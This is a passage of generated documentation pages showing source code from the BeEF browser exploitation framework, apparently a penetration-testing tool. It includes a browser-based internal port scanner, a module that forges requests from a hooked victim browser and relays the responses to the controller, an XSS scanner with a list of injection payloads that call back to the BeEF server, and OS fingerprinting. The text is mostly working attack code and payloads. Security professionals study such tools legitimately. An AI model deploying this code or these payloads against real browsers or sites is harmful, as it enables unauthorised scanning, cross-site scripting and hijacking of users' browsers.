		if(!this.hasJava) return false;
		
		this.initializeSocket();
		
		try {
			this.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
			this.sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));
			
			return this.sock.getLocalAddress().getHostName();
		} catch(e) { return false; }
	}
	
};

beef.regCmp('beef.net.local');

Documentation generated by JSDoc 4.0.4 on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/net_portscanner.js.html ================================================ JSDoc: Source: net/portscanner.js

Source: net/portscanner.js

//
// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

/**
 * Provides port scanning functions for the zombie. A mod of pdp's scanner
 * 
 * Version: '0.1',
 * author: 'Petko Petkov',
 * homepage: 'http://www.gnucitizen.org'
 * @namespace beef.net.portscanner
 */

beef.net.portscanner = {

		/**
		 * 
		 * @param callback 
		 * @param target 
		 * @param port 
		 * @param timeout 
		 */
		scanPort: function(callback, target, port, timeout) 
		{
			var timeout = (timeout == null)?100:timeout;
			var img = new Image();

			img.onerror = function () {
				if (!img) return;
				img = undefined;
				callback(target, port, 'open');
			};

			img.onload  = img.onerror;
			
			img.src = 'http://' + target + ':' + port;

			setTimeout(function () {
				if (!img) return;
				img = undefined;
				callback(target, port, 'closed');
			}, timeout);

		},
		/**
		 * 
		 * @param callback 
		 * @param target 
		 * @param ports_str 
		 * @param timeout 
		 */
		scanTarget: function(callback, target, ports_str, timeout)
		{
			var ports = ports_str.split(",");

			for (index = 0; index < ports.length; index++) {
				this.scanPort(callback, target, ports[index], timeout);
			};

		}
};

beef.regCmp('beef.net.portscanner');


Documentation generated by JSDoc 4.0.4 on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/net_requester.js.html ================================================ JSDoc: Source: net/requester.js

Source: net/requester.js

//
// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

/**
 * request object structure:
 * + method: {String} HTTP method to use (GET or POST).
 * + host: {String} hostname
 * + query_string: {String} The query string is a part of the URL which is passed to the program.
 * + uri: {String} The URI syntax consists of a URI scheme name.
 * + headers: {Array} contain the operating parameters of the HTTP request. 
 * @namespace beef.net.requester
 */
beef.net.requester = {
	
	handler: "requester",
	/**
     * 
     * @param {array} requests_array 
     */
	send: function(requests_array) {
        for(var i=0; i<requests_array.length; i++){
            request = requests_array[i];
            if (request.proto == 'https') var scheme = 'https'; else var scheme = 'http';
            beef.debug('[Requester] ' + request.method + ' ' + scheme + '://' + request.host + ':' + request.port + request.uri + ' - Data: ' + request.data);
            beef.net.forge_request(scheme, request.method, request.host, request.port, request.uri, null, request.headers, request.data, 10, null, request.allowCrossOrigin, request.id,
                                       function(res, requestid) { beef.net.send('/requester', requestid, {
                                           response_data: res.response_body,
                                           response_status_code: res.status_code,
                                           response_status_text: res.status_text,
					                       response_port_status: res.port_status,
                                           response_headers: res.headers});
                                       }
                                 );
        }
    }
};

beef.regCmp('beef.net.requester');

Documentation generated by JSDoc 4.0.4 on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/net_xssrays.js.html ================================================ JSDoc: Source: net/xssrays.js

Source: net/xssrays.js

/*
 * XSS Rays
 * Legal bit:
 * Do not remove this notice.
 * Copyright (c) 2009 by Gareth Heyes
 * Programmed for Microsoft
 * gareth --at-- businessinfo -dot- co |dot| uk
 * Version 0.5.5
 *
 * This license governs use of the accompanying software. If you use the software, you
 * accept this license. If you do not accept the license, do not use the software.
 * 1. Definitions
 * The terms "reproduce," "reproduction," "derivative works," and "distribution" have the
 * same meaning here as under U.S. copyright law.
 * A "contribution" is the original software, or any additions or changes to the software.
 * A "contributor" is any person that distributes its contribution under this license.
 * "Licensed patents" are a contributor's patent claims that read directly on its contribution.
 * 2. Grant of Rights
 * (A) Copyright Grant- Subject to the terms of this license, including the license conditions and limitations in section 3, each contributor grants you a non-exclusive, worldwide, royalty-free copyright license to reproduce its contribution, prepare derivative works of its contribution, and distribute its contribution or any derivative works that you create.
 * (B) Patent Grant- Subject to the terms of this license, including the license conditions and limitations in section 3, each contributor grants you a non-exclusive, worldwide, royalty-free license under its licensed patents to make, have made, use, sell, offer for sale, import, and/or otherwise dispose of its contribution in the software or derivative works of the contribution in the software.
 * 3. Conditions and Limitations
 * (A) No Trademark License- This license does not grant you rights to use any contributors' name, logo, or trademarks.
 * (B) If you bring a patent claim against any contributor over patents that you claim are infringed by the software, your patent license from such contributor to the software ends automatically.
 * (C) If you distribute any portion of the software, you must retain all copyright, patent, trademark, and attribution notices that are present in the software.
 * (D) If you distribute any portion of the software in source code form, you may do so only under this license by including a complete copy of this license with your distribution. If you distribute any portion of the software in compiled or object code form, you may only do so under a license that complies with this license.
 * (E) The software is licensed "as-is." You bear the risk of using it. The contributors give no express warranties, guarantees or conditions. You may have additional consumer rights under your local laws which this license cannot change. To the extent permitted under your local laws, the contributors exclude the implied warranties of merchantability, fitness for a particular purpose and non-infringement.
 */

/**
 * XssRays 0.5.5 ported to BeEF by Michele "antisnatchor" Orru'
 * The XSS detection mechanisms has been rewritten from scratch: instead of using the location hash trick (that doesn't work anymore),
 * if the vulnerability is triggered the JS code vector will contact back BeEF.
 * Other aspects of the original code have been simplified and improved.
 * @namespace beef.net.xssrays
 */
beef.net.xssrays = {
    handler: "xssrays",
    completed:0,
    totalConnections:0,

    // BeEF variables
    xssraysScanId : 0,
    hookedBrowserSession: "",
    beefRayUrl: "",
    // the following variables are overridden via BeEF, in the Scan Config XssRays sub-tab. 
    crossDomain: false,
    cleanUpTimeout:5000,

    //browser-specific attack vectors available strings: ALL, FF, IE, S, C, O
    vectors: [

				  {input:"\',XSS,\'", name: 'Standard DOM based injection single quote', browser: 'ALL',url:true,form:true,path:true},
				  {input:'",XSS,"', name: 'Standard DOM based injection double quote', browser: 'ALL',url:true,form:true,path:true},
				  {input:'\'"><script>XSS<\/script>', name: 'Standard script injection', browser: 'ALL',url:true,form:true,path:true},
				  {input:'\'"><body onload="XSS">', name: 'body onload', browser: 'ALL',url:true,form:true,path:true},
				  {input:'%27%3E%3C%73%63%72%69%70%74%3EXSS%3C%2F%73%63%72%69%70%74%3E', name: 'url encoded single quote', browser: 'ALL',url:true,form:true,path:true},
				  {input:'%22%3E%3C%73%63%72%69%70%74%3EXSS%3C%2F%73%63%72%69%70%74%3E', name: 'url encoded double quote', browser: 'ALL',url:true,form:true,path:true},
				  {input:'%25%32%37%25%33%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45XSS%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45', name: 'double url encoded single quote', browser: 'ALL',url:true,form:true,path:true},
				  {input:'%25%32%32%25%33%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45XSS%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45', name: 'double url encoded double quote', browser: 'ALL',url:true,form:true,path:true},
				  {input:'%%32%35%%33%32%%33%32%%32%35%%33%33%%34%35%%32%35%%33%33%%34%33%%32%35%%33%37%%33%33%%32%35%%33%36%%33%33%%32%35%%33%37%%33%32%%32%35%%33%36%%33%39%%32%35%%33%37%%33%30%%32%35%%33%37%%33%34%%32%35%%33%33%%34%35XSS%%32%35%%33%33%%34%33%%32%35%%33%32%%34%36%%32%35%%33%37%%33%33%%32%35%%33%36%%33%33%%32%35%%33%37%%33%32%%32%35%%33%36%%33%39%%32%35%%33%37%%33%30%%32%35%%33%37%%33%34%%32%35%%33%33%%34%35', name: 'double nibble url encoded double quote', browser: 'ALL',url:true,form:true,path:true},
				  {input:"' style=abc:expression(XSS) ' \" style=abc:expression(XSS) \"", name: 'Expression CSS based injection', browser: 'IE',url:true,form:true,path:true},
				  {input:'" type=image src=null onerror=XSS " \' type=image src=null onerror=XSS \'', name: 'Image input overwrite based injection', browser: 'ALL',url:true,form:true,path:true},
				  {input:"' onload='XSS' \" onload=\"XSS\"/onload=\"XSS\"/onload='XSS'/", name: 'onload event injection', browser: 'ALL',url:true,form:true,path:true},
				  {input:'\'\"<\/script><\/xml><\/title><\/textarea><\/noscript><\/style><\/listing><\/xmp><\/pre><img src=null onerror=XSS>', name: 'Image injection HTML breaker', browser: 'ALL',url:true,form:true,path:true},
				  {input:"'},XSS,function x(){//", name: 'DOM based function breaker single quote', browser: 'ALL',url:true,form:true,path:true},
				  {input:'"},XSS,function x(){//', name: 'DOM based function breaker double quote', browser: 'ALL',url:true,form:true,path:true},
				  {input:'\\x3c\\x73\\x63\\x72\\x69\\x70\\x74\\x3eXSS\\x3c\\x2f\\x73\\x63\\x72\\x69\\x70\\x74\\x3e', name: 'DOM based innerHTML injection', browser: 'ALL',url:true,form:true,path:true},
  				  {input:'javascript:XSS', name: 'Javascript protocol injection', browser: 'ALL',url:true,form:true,path:true},
  				  {input:'null,XSS//', name: 'Unfiltered DOM injection comma', browser: 'ALL',url:true,form:true,path:true},
				  {input:'null\nXSS//', name: 'Unfiltered DOM injection new line', browser: 'ALL',url:true,form:true,path:true}
    ],
    uniqueID: 0,
    rays: [],
    stack: [],

    /**
     * return true is the attack vector can be launched to the current browser type.
     * @param {array} vector_array_index 
     */
    checkBrowser:function(vector_array_index){
        var result = false;
        var browser_id = this.vectors[vector_array_index].browser;
        switch (browser_id){
        case "ALL":
            result = true;
            break;
        case "FF":
            if(beef.browser.isFF())result=true;
            break;
        case "IE":
            if(beef.browser.isIE())result=true;
            break;
        case "C":
            if(beef.browser.isC())result=true;
            break;
        case "S":
            if(beef.browser.isS())result=true;
            break;
        case "O":
            if(beef.browser.isO())result=true;
            break;
        default : result = false;
        }
        beef.debug("==== browser_id ==== [" + browser_id + "], result [" + result + "]");
        return result;
    },

    /**
     * main function, where all starts :-)
     * @param xssraysScanId 
     * @param hookedBrowserSession 
     * @param beefUrl 
     * @param crossDomain 
     * @param timeout 
     */
    startScan:function(xssraysScanId, hookedBrowserSession, beefUrl, crossDomain, timeout) {

        this.xssraysScanId = xssraysScanId;
        this.hookedBrowserSession = hookedBrowserSession;
        this.beefRayUrl = beefUrl + '/' + this.handler;
        beef.debug("Using [" + this.beefRayUrl  + "] handler to contact back BeEF");
        this.crossDomain = crossDomain;
        this.cleanUpTimeout = timeout;

        this.scan();
        beef.debug("Starting scan");
        this.runJobs();
    },
    complete:function() {
        if (beef.net.xssrays.completed == beef.net.xssrays.totalConnections) {
            beef.debug("COMPLETE, notifying BeEF for scan id [" + beef.net.xssrays.xssraysScanId + "]");
            $j.get(this.beefRayUrl, { hbsess: this.hookedBrowserSession, raysid: this.xssraysScanId, action: "finish"} );
        } else {
            this.getNextJob();
        }
    },
    getNextJob:function() {
        var that = this;
        beef.debug("getNextJob - this.stack.length [" + this.stack.length + "]");
        if (this.stack.length > 0) {
            var func = that.stack.shift();
            if (func) {
                that.completed++;
                func.call(that);
            }
        }else{ //nothing else to scan
            this.complete();
        }
    },
    scan:function() {
        this.scanLinks();
        this.scanForms();
    },
    scanPaths:function() {
        this.xss({type:'path'});
        return this;
    },
    scanForms: function() {
        this.xss({type:'form'});
        return this;
    },
    scanLinks: function() { //TODO: add depth crawling for links that are in the same domain
        beef.debug("scanLinks, document.links.length [" + document.links.length + "]");
        for (var i = 0; i < document.links.length; i++) {
            var url = document.links[i];

            if ((url.hostname.toString() === location.hostname.toString() || this.crossDomain) && (location.protocol === 'http:' || location.protocol === 'https:')) {
                beef.debug("Starting scanning URL [" + url + "]\n url.href => " + url.href +
                    "\n url.pathname => " + url.pathname + "\n" +
                    "url.search => " + url.search + "\n");
                this.xss({href:url.href, pathname:url.pathname, hostname:url.hostname, port: url.port, protocol: location.protocol,
                    search:url.search, type: 'url'});//scan each link & param
            } else {
                beef.debug('Scan is not Cross-origin.  URLS\nurl :' + url.hostname.toString());
                beef.debug('\nlocation :' + location.hostname.toString());
            }
        }
        if (location.search.length > 0) {
            this.xss({pathname:location.pathname, hostname:url.hostname, port: url.port, protocol: location.protocol,search:location.search, type: 'url'});//scan originating url
        }
        return this;
    },
    xss:function(target) {
        switch (target.type) {
            case "url":
                if (target.search.length > 0) {
                    target.search = target.search.slice(1);
                    target.search = target.search.split(/&|&amp;/);

                    if(beef.browser.isIE() && target.pathname.charAt(0) != "/"){ //the damn IE doesn't contain the forward slash in pathname
                       var pathname = "/" + target.pathname;
                    }else{
                        var pathname = target.pathname;
                    }

                    var params = {};
                    for (var i = 0; i < target.search.length; i++) {
                        target.search[i] = target.search[i].split('=');
                        params[target.search[i][0]] = target.search[i][1];
                    }
                    for (var i = 0; i < this.vectors.length; i++) {
                        // skip the current vector if it's not compatible with the hooked browser
                        if (!this.checkBrowser(i)){
                            beef.debug("Skipping vector [" + this.vectors[i].name + "] because it's not compatible with the current browser.");
                            continue;
                        }
                        if (!this.vectors[i].url) {
                            continue;
                        }
                        if (this.vectors[i].url) {
                            if (target.port == null || target.port == "") {
                                beef.debug("Starting XSS on GET params of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + pathname + "]");
                                this.run(target.protocol + '//' + target.hostname + pathname, 'GET', this.vectors[i], params, true);//params
                            } else {
                                beef.debug("Starting XSS on GET params of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + ':' + target.port + pathname + "]");
                                this.run(target.protocol + '//' + target.hostname + ':' + target.port + pathname, 'GET', this.vectors[i], params, true);//params
                            }
                        }
                        if (this.vectors[i].path) {
                            if (target.port == null || target.port == "") {
                                beef.debug("Starting XSS on URI PATH of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + pathname + "]");
                                this.run(target.protocol + '//' + target.hostname + pathname, 'GET', this.vectors[i], null, true);//paths
                            } else {
                                beef.debug("Starting XSS on URI PATH of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + ':' + target.port + pathname + "]");
                                this.run(target.protocol + '//' + target.hostname + ':' + target.port + pathname, 'GET', this.vectors[i], null, true);//paths
                            }
                        }
                    }
                }
                break;
            case "form":
                var params = {};
                var paramsstring = "";
                for (var i = 0; i < document.forms.length; i++) {
                    var action = document.forms[i].action || document.location;
                    var method = document.forms[i].method.toUpperCase() === 'POST' ?
                        'POST' :
                        'GET';

                    for (var j = 0; j < document.forms[i].elements.length; j++) {
                        params[document.forms[i].elements[j].name] = document.forms[i].elements[j].value || 1;
                    }
                    for (var k = 0; k < this.vectors.length; k++) {

                        // skip the current vector if it's not compatible with the hooked browser
                        if (!this.checkBrowser(k)){
                            beef.debug("Skipping vector [" + this.vectors[i].name + "] because it's not compatible with the current browser.");
                            continue;
                        }
                        if (!this.vectors[k].form) {
                            continue;
                        }
                        if (!this.crossDomain && (this.host(action).toString() != this.host(location.toString()))) {
                            beef.debug('Scan is not Cross-origin. FormPost\naction :' + this.host(action).toString());
                            beef.debug('location :' + this.host(location));
                            continue;
                        }
                        if (this.vectors[k].form) {
                            if (method === 'GET') {
                                beef.debug("Starting XSS on FORM action params, GET method of [" + action + "], params [" + paramsstring + "]");
                                this.run(action, method, this.vectors[k], params, true);//params
                            }
                            else {
                                beef.debug("Starting XSS on FORM action params, POST method of [" + action + "], params [" + paramsstring + "]");
                                this.run(action, method, this.vectors[k], params, false);//params
                            }
                        }
                        if (this.vectors[k].path) {
                            beef.debug("Starting XSS on FORM action URI PATH of [" + action + "], ");
                            this.run(action, 'GET', this.vectors[k], null, true);//paths
                        }
                    }
                }
                break;
        }
    },
    host: function(url) {
        var host = url;
        host = /^https?:[\/]{2}[^\/]+/.test(url.toString())
            ? url.toString().match(/^https?:[\/]{2}[^\/]+/)
            : /(?:^[^a-zA-Z0-9\/]|^[a-zA-Z0-9]+[:]+)/.test(url.toString())
            ? ''
            : location.hostname.toString();
        return host;
    },
    fileName: function(url) {
        return url.match(/(?:^[^\/]|^https?:[\/]{2}|^[\/]+)[^?]+/) || '';
    },

    urlEncode: function(str) {
        str = str.toString();
        str = str.replace(/"/g, '%22');
        str = str.replace(/&/g, '%26');
        str = str.replace(/\+/g, '%2b');
        return str;
    },

    /**
     * this is the main core function with the detection mechanisms...
     * @param url 
     * @param method 
     * @param vector 
     * @param params 
     * @param urlencode 
     */
    run: function(url, method, vector, params, urlencode) {
        this.stack.push(function() {

            //check if the URL end with / . In this case remove the last /, as it will be added later.
            // this check is needed only when checking for URI path injections
            if(url[url.length - 1] == "/" && params == null){
               url = url.substring(0, url.length - 2);
               beef.debug("Remove last / from url. New url [" + url + "]");
            }

            beef.net.xssrays.uniqueID++;
            beef.debug('Processing vector [' + vector.name + "], URL [" + url + "]");
            var poc = '';
            var pocurl = url;
            var exploit = '';
            var action = url;


            beef.net.xssrays.rays[beef.net.xssrays.uniqueID] = {vector:vector,url:url,params:params};
            var ray = this.rays[beef.net.xssrays.uniqueID];

            var paramsPos = 0;
            if (params != null) {
                /*
                 * ++++++++++ check for XSS in URI parameters (GET) ++++++++++
                 */
                for (var i in params) {
                    if (params.hasOwnProperty(i)) {

                        if (!/[?]/.test(url)) {
                            url += '?';
                            pocurl += '?';
                        }

                        poc = vector.input.replace(/XSS/g, "alert(1)");
                        pocurl += i + '=' + (urlencode ? encodeURIComponent(poc) : poc) + '&';

                        beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.poc = pocurl;
                        beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.method = method;

                        beefCallback = "location='" + this.beefRayUrl + "?hbsess=" + this.hookedBrowserSession + "&raysid=" + this.xssraysScanId
                            + "&action=ray" + "&p='+window.location.href+'&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";

                        exploit = vector.input.replace(/XSS/g, beefCallback);

                        if(beef.browser.isC() || beef.browser.isS()){ //we will base64 the whole uri later
                            url += i + '=' + exploit + '&';
                        }else{
                            url += i + '=' + (urlencode ? encodeURIComponent(exploit) : exploit) + '&';
                        }

                        paramsPos++;
                    }
                }
            } else {
                /*
                 * ++++++++++ check for XSS in URI path (GET) ++++++++++
                 */
                var filename = beef.net.xssrays.fileName(url);

                poc = vector.input.replace(/XSS/g, "alert(1)");
                pocurl = poc.replace(filename, filename + '/' + (urlencode ? encodeURIComponent(exploit) : exploit) + '/');


                beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.poc = pocurl;
                beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.method = method;

                beefCallback = "document.location.href='" + this.beefRayUrl + "?hbsess=" + this.hookedBrowserSession + "&raysid=" + this.xssraysScanId
                    + "&action=ray" + "&p='+window.location.href+'&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";

                exploit = vector.input.replace(/XSS/g, beefCallback);

                //TODO: if the url is something like example.com/?param=1 then a second slash will be added, like example.com//<xss>.
                //TODO: this need to checked and the slash shouldn't be added in this particular case
                url = url.replace(filename, filename + '/' + (urlencode ? encodeURIComponent(exploit) : exploit) + '/');
            }
            /*
             * ++++++++++ create the iFrame that will contain the attack vector ++++++++++
             */
            if(beef.browser.isIE()){
                try {
                    var iframe = document.createElement('<iframe name="ray'+Math.random().toString() +'">');
                } catch (e) {
                    var iframe = document.createElement('iframe');
                    iframe.name = 'ray' + Math.random().toString();
                }
            }else{
                var iframe = document.createElement('iframe');
                iframe.name = 'ray' + Math.random().toString();
            }
            iframe.style.display = 'none';
            iframe.id = 'ray' + beef.net.xssrays.uniqueID;
            iframe.time = beef.net.xssrays.timestamp();

            if (method === 'GET') {
                if(beef.browser.isC() || beef.browser.isS()){
                    var datauri = btoa(url);
                    iframe.src = "data:text/html;base64," + datauri;
                }else{
                    iframe.src = url;
                }
                document.body.appendChild(iframe);
                beef.debug("Creating XSS iFrame with src [" + iframe.src + "], id[" + iframe.id + "], time [" + iframe.time + "]");
            } else if (method === 'POST') {
                /*
                 * ++++++++++ check for XSS in body parameters (POST) ++++++++++
                 */
                var form = '<form action="' + beef.net.xssrays.escape(action) + '" method="post" id="frm">';
                poc = '';
                pocurl = action + "?";
                paramsPos = 0;

                beef.debug("Form action [" + action + "]");
                for (var i in params) {
                    if (params.hasOwnProperty(i)) {

                        poc = vector.input.replace(/XSS/g, "alert(1)");
                        poc = poc.replace(/<\/script>/g, "<\/scr\"+\"ipt>");
                        pocurl += i + '=' + (urlencode ? encodeURIComponent(poc) : poc); // + '&';

                        beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.poc = pocurl;
                        beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.method = method;

                        beefCallback = "document.location.href='" + this.beefRayUrl + "?hbsess=" + this.hookedBrowserSession + "&raysid=" + this.xssraysScanId
                            + "&action=ray" + "&p='+window.location.href+'&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";

                        exploit = beef.net.xssrays.escape(vector.input.replace(/XSS/g, beefCallback));
                        form += '<textarea name="' + i + '">' + exploit + '<\/textarea>';
                        beef.debug("form param[" + i + "] = " + params[i].toString());

                        paramsPos++;
                    }
                }
                form += '<\/form>';
                document.body.appendChild(iframe);
                beef.debug("Creating form [" + form + "]");
                iframe.contentWindow.document.writeln(form);
                iframe.contentWindow.document.writeln('<script>document.createElement("form").submit.apply(document.forms[0]);<\/script>');
                beef.debug("Submitting form");
            }

        });
    },

    /**
     * run the jobs (run functions added to the stack), and clean the shit (iframes) from the DOM after a timeout value
     */
    runJobs: function() {
        var that = this;
        this.totalConnections = this.stack.length;
        that.getNextJob();
        setInterval(function() {
            var numOfConnections = 0;
            for (var i = 0; i < document.getElementsByTagName('iframe').length; i++) {
                var iframe = document.getElementsByTagName('iframe')[i];
                numOfConnections++;
                //beef.debug("runJobs parseInt(this.timestamp()) [" + parseInt(beef.net.xssrays.timestamp()) + "], parseInt(iframe.time) [" + parseInt(iframe.time) + "]");
                if (parseInt(beef.net.xssrays.timestamp()) - parseInt(iframe.time) > 5) {
                    try{
                        if (iframe) {
                            beef.net.xssrays.complete();
                            beef.debug("RunJobs cleaning up iFrame [" + iframe.id + "]");
                            document.body.removeChild(iframe);
                        }
                    }catch(e){
			beef.debug("Exception [" + e.toString() + "] when cleaning iframes.")
		    }
                }
            }

            if (numOfConnections == 0) {
                clearTimeout(this);
            }

        }, this.cleanUpTimeout);

        return this;
    },
    timestamp: function() {
        return parseInt(new Date().getTime().toString().substring(0, 10));
    },
    escape: function(str) {
        str = str.toString();
        str = str.replace(/</g, '&lt;');
        str = str.replace(/>/g, '&gt;');
        str = str.replace(/\u0022/g, '&quot;');
        str = str.replace(/\u0027/g, '&#39;');
        str = str.replace(/\\/g, '&#92;');
        return str;
    }

};

beef.regCmp('beef.net.xssrays');

Documentation generated by JSDoc 4.0.4 on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/os.js.html ================================================ JSDoc: Source: os.js

Source: os.js

//
// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

/** @namespace beef.os */

beef.os = {

	ua: navigator.userAgent,

	/**
	  * Detect default browser (IE only)
	  * Written by unsticky
	  * http://ha.ckers.org/blog/20070319/detecting-default-browser-in-ie/
	  * @return {string}
	  */
	getDefaultBrowser: function() {
		var result = "Unknown"
		try {
			var mt = document.mimeType;
			if (mt) {
				if (mt == "Safari Document")       result = "Safari";
				if (mt == "Firefox HTML Document") result = "Firefox";
				if (mt == "Chrome HTML Document")  result = "Chrome";
				if (mt == "HTML Document")         result = "Internet Explorer";
				if (mt == "Opera Web Document")    result = "Opera";
			}
		} catch (e) {
			beef.debug("[os] getDefaultBrowser: "+e.message);
		}
		return result;
	},
	
	// the likelihood that we hook Windows 3.11 (which has only Win in the UA string) is zero in 2015
	/**
	 * @return {boolean}
	 */
	isWin311: function() {
		return (this.ua.match('(Win16)')) ? true : false;
	},
	/**
	 * @return {boolean}
	 */
	isWinNT4: function() {
		return (this.ua.match('(Windows NT 4.0)')) ? true : false;
	},
	/**
	 * @return {boolean}
	 */
	isWin95: function() {
		return (this.ua.match('(Windows 95)|(Win95)|(Windows_95)')) ? true : false;
	},
	/**
	 * @return {boolean}
	 */
	isWinCE: function() {
		return (this.ua.match('(Windows CE)')) ? true : false;
	},
	/**
	 * @return {boolean}
	 */
	isWin98: function() {
		return (this.ua.match('(Windows 98)|(Win98)')) ? true : false;
	},
	/**
	 * @return {boolean}
	 */
	isWinME: function() {
		return (this.ua.match('(Windows ME)|(Win 9x 4.90)')) ? true : false;
	},
	/**
	 * @return {boolean}
	 */
	isWin2000: function() {
		return (this.ua.match('(Windows NT 5.0)|(Windows 2000)')) ? true : false;
	},
	/**
	 * @return {boolean}
	 */
	isWin2000SP1: function() {
		return (this.ua.match('Windows NT 5.01 ')) ? true : false;
	},
	/**
	 * @return {boolean}
	 */
	isWinXP: function() {
		return (this.ua.match('(Windows NT 5.1)|(Windows XP)')) ? true : false;
	},
	/**
	 * @return {boolean}
	 */
	isWinServer2003: function() {
		return (this.ua.match('(Windows NT 5.2)')) ? true : false;
	},
	/**
	 * @return {boolean}
	 */
	isWinVista: function() {
		return (this.ua.match('(Windows NT 6.0)')) ? true : false;
	},
	/**
	 * @return {boolean}
	 */
	isWin7: function() {
		return (this.ua.match('(Windows NT 6.1)|(Windows NT 7.0)')) ? true : false;
	},
	/**
	 * @return {boolean}
	 */
	isWin8: function() {
		return (this.ua.match('(Windows NT 6.2)')) ? true : false;
	},	
	/**
	 * @return {boolean}
	 */
	isWin81: function() {
		return (this.ua.match('(Windows NT 6.3)')) ? true : false;
	},
	/**
	 * @return {boolean}
	 */
	isWin10: function() {
		return (this.ua.match('Windows NT 10.0')) ? true : false;
	},
	/**
	 * @return {boolean}
	 */
	isOpenBSD: function() {
		return (this.ua.indexOf('OpenBSD') != -1) ? true : false;
	},
	/**
	 * @return {boolean}
	 */
	isSunOS: function() {
		return (this.ua.indexOf('SunOS') != -1) ? true : false;
	},
	/**
	 * @return {boolean}
	 */
	isLinux: function() {
		return (this.ua.match('(Linux)|(X11)')) ? true : false;
	},
	/**
	 * @return {boolean}
	 */
	isMacintosh: function() {
		return (this.ua.match('(Mac_PowerPC)|(Macintosh)|(MacIntel)')) ? true : false;
	},
	/**
	 * @return {boolean}
	 */
	isOsxYosemite: function(){ // TODO
		return (this.ua.match('(OS X 10_10)|(OS X 10.10)')) ? true : false;
	},
	/**
	 * @return {boolean}
	 */
	isOsxMavericks: function(){ // TODO
		return (this.ua.match('(OS X 10_9)|(OS X 10.9)')) ? true : false;
	},
	/**
	 * @return {boolean}
	 */
	isOsxSnowLeopard: function(){ // TODO
		return (this.ua.match('(OS X 10_8)|(OS X 10.8)')) ? true : false;
	},
	/**
	 * @return {boolean}
	 */
	isOsxLeopard: function(){ // TODO
		return (this.ua.match('(OS X 10_7)|(OS X 10.7)')) ? true : false;
	},
	/**
	 * @return {boolean}
	 */
	isWinPhone: function() {
		return (this.ua.match('(Windows Phone)')) ? true : false;
	},
	/**
	 * @return {boolean}
	 */
	isIphone: function() {
		return (this.ua.indexOf('iPhone') != -1) ? true : false;
	},
	/**
	 * @return {boolean}
	 */
	isIpad: function() {
		return (this.ua.indexOf('iPad') != -1) ? true : false;
	},
	/**
	 * @return {boolean}
	 */
	isIpod: function() {
		return (this.ua.indexOf('iPod') != -1) ? true : false;
	},
	/**
	 * @return {boolean}
	 */
	isNokia: function() {
		return (this.ua.match('(Maemo Browser)|(Symbian)|(Nokia)')) ? true : false;
	},
	/**
	 * @return {boolean}
	 */
	isAndroid: function() {
		return (this.ua.match('Android')) ? true : false;
	},
	/**
	 * @return {boolean}
	 */
	isBlackBerry: function() {
		return (this.ua.match('BlackBerry')) ? true : false;
	},
	/**
	 * @return {boolean}
	 */
	isWebOS: function() {
		return (this.ua.match('webOS')) ? true : false;
	},
	/**
	 * @return {boolean}
	 */
	isQNX: function() {
		return (this.ua.match('QNX')) ? true : false;
	},
	/**
	 * @return {boolean}
	 */
	isBeOS: function() {
		return (this.ua.match('BeOS')) ? true : false;
	},
	/**
	 * @return {boolean}
	 */
	isAros: function() {
			return (this.ua.match('AROS')) ? true : false;
	},
	/**
	 * @return {boolean}
	 */
	isWindows: function() {
		return (this.ua.match('Windows')) ? true : false;
	},
	/**
	 * @return {string}
	 */
	getName: function() {
		
		if(this.isWindows()){
			return 'Windows';
		}

		if(this.isMacintosh()) {
			return 'OSX';
		}

		//Nokia
		if(this.isNokia()) {
			if (this.ua.indexOf('Maemo Browser') != -1) return 'Maemo';
			if (this.ua.match('(SymbianOS)|(Symbian OS)')) return 'SymbianOS';
			if (this.ua.indexOf('Symbian') != -1) return 'Symbian';
		}

		// BlackBerry
		if(this.isBlackBerry()) return 'BlackBerry OS';

		// Android
		if(this.isAndroid()) return 'Android';

		// SunOS
		if(this.isSunOS()) return 'SunOS';

		//Linux
		if(this.isLinux()) return 'Linux';

		//iPhone
		if (this.isIphone()) return 'iOS';
		//iPad
		if (this.isIpad()) return 'iOS';
		//iPod
		if (this.isIpod()) return 'iOS';
		
		//others
		if(this.isQNX()) return 'QNX';
		if(this.isBeOS()) return 'BeOS';
		if(this.isWebOS()) return 'webOS';
		if(this.isAros()) return 'AROS';
		
		return 'unknown';
	},

  /**
    * Get OS architecture.
    * This may not be the same as the browser arch or CPU arch.
    * ie, 32bit OS on 64bit hardware
    */
  getArch: function() {
    var arch = 'unknown';
    try {
      var arch = platform.os.architecture;
      if (!!arch)
        return arch;
    } catch (e) {}

    return arch;
  },

  /**
    * Get OS family
    */
  getFamily: function() {
    var family = 'unknown';
